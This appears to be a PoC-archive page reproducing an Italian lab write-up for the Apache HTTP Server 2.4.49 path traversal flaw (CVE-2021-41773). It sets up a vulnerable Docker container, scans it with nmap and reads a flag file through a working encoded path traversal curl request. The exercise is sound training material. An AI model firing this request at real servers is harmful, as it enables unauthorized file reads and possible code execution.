目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2021-41773 PoC — Apache HTTP Server 路径遍历漏洞

来源
关联漏洞
标题:Apache HTTP Server 路径遍历漏洞 (CVE-2021-41773)
Description:Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点。 Apache HTTP Server 2.4.49版本存在路径遍历漏洞,攻击者可利用该漏洞使用路径遍历攻击将URL映射到预期文档根以外的文件。
Description
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and not earlier versions. Credits to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 
介绍
# CVE-2021-41773-exercise
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and not earlier versions. 

Credits intro to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 

Obiettivo dell’esercitazione è di sfruttare la vulnerabilità presente in **Apache 2.4.49**. Per poter sfruttarla è necessario sfruttare un "**path traversal attack**" per mappare i file al di fuori delle cartelle preconfigurate e creare una sorta di remote shell.

Per l’esercitazione è comodo utilizzare un docker vulnerabile ad hoc presente su docker hub:

Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49

**$docker pull m96dg/pw_apache_2_4_49**

![1_docker_pull](https://user-images.githubusercontent.com/65173648/151152933-92096ee8-b5c2-4812-949d-83f73a0b97d4.PNG)

Per poter vedere le immagini dei docker pullate:

**$docker images**

Runnare il docker sul porto 8080:

**$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49**

Per poter verificare che sia effettivamente in esecuzione:

**$docker ps**


![2_docker_run](https://user-images.githubusercontent.com/65173648/151153094-71ee03cb-926b-4465-b06c-4081f083d4ff.PNG)

Come si vede il web server è perfettamente funzionante:

![3_8080](https://user-images.githubusercontent.com/65173648/151153231-603bcc8b-fe61-4096-a788-1022cdf3423f.PNG)


Fase di scanning (cerchiamo di raccogliere quante più informazioni possibili dall'host):

**$nmap -sS -p- -T4 -Pn -oA portScan localhost**

![4_portScan](https://user-images.githubusercontent.com/65173648/151153252-a53ffc09-5b24-4dd8-a6ba-4f194cac8c69.PNG)

Fase di enumeration (cerchiamo di approndire le informazioni andando ad enumerare le porte trovare in fase di scansione):

**$nmap -sV -sC -oA versionScan localhost**

![5_versionScan](https://user-images.githubusercontent.com/65173648/151153309-3f8d8bd3-f069-49a8-bded-2dec83ff523d.PNG)

Per poter effettuare l'attacco, è necessario lanciare questo comando e provare a trovare la flag (qualora sia inserita in root):

**$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt**

![6_exploit](https://user-images.githubusercontent.com/65173648/151153537-49839aa2-8384-4a27-aecd-860092328205.PNG)

Per aver certezza che l'esercitazione sia andata a buon fine, e che la flag sia effettivamente quella trovata, confrontare la stringa con la sua decriptazione in **Md5** ("**HaiTrovatoLaFlag_Apache**"). Se le due stringe combaciano, allora il gioco è fatto!


文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →